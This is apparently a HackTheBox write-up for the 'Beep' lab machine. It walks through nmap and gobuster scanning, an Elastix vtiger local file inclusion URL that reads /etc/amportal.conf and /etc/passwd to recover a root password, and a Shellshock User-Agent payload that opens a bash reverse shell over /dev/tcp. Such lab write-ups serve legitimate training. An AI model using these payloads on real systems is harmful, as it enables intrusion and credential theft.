> For the complete documentation index, see [llms.txt](https://sayonara.gitbook.io/writeups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://sayonara.gitbook.io/writeups/hackthebox/machines/beep.md).
# Beep
easy linux machine
### nmap:
As usual let's start by scanning open services using nmap
```python
nmap -sC -sV -oA beep 10.10.10.7
```
### content discovery using gobuster :
```python
gobuster dir -u https://10.10.10.7 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -k -t 200 --no-error
```
if we browse to /admin it will promp as for the admin password if you dont have a password it will show this page
i couldn't go any further so i checked for elastix exploits using searchsploit
the one that seems to work is the LFI vulnerabiility
let run the command `searchsploit -x ` to analyze the exploit
## Method 1 => LFI to RCE
now let's vesit the exploitDB url to take a look at the exploit
{% embed url="" %}
let's visit this path
```python
https://10.10.10.7/vtigercrm/graph.php?current_language=../../../../../../../..//etc/amportal.conf%00&module=Accounts&action
```
reviewing the source code of this page reveals the admin password
we can use this password to login to the elastix login form
now let's disclose /etc/password
```python
https://10.10.10.7/vtigercrm/graph.php?current_language=../../../../../../../..//etc/passwd%00&module=Accounts&action
```
now ssh to the beep box as the user root and the password we have found in the amportal.conf page
**root : jEhdIekWmdjE**
```python
ssh root@10.10.10.7
```
## Method 2 => RCE through Shellshock
after doing nmap we found out that there is an open port on 10000 running Webmin httpd let's visit it:
when we submit wrong credentials it shows the session\_login.cgi directory
cgi scripts use the Bash shell for processing user input were particularly susceptible to exploitation and there was a famous exploitation called shellshock which exploit cgi script to execute arbitrary code
so let's test if this cgi is vulnerable to shellshock attack
let's capture the login submit using burp suite and replace the user agent value with a bash one-liner reverse shell shellshock payload
```python
() { :;}; bash -i >& /dev/tcp// 0>&1
```
before sending this request we have to start listening on the port we specified in the payload for me it was 443
and now let's send the request using burp
and we get back a reverse shell
hope you found this walkthrough easy to understand and follow
Greeting From [Sayonara](https://github.com/ismail-arame)
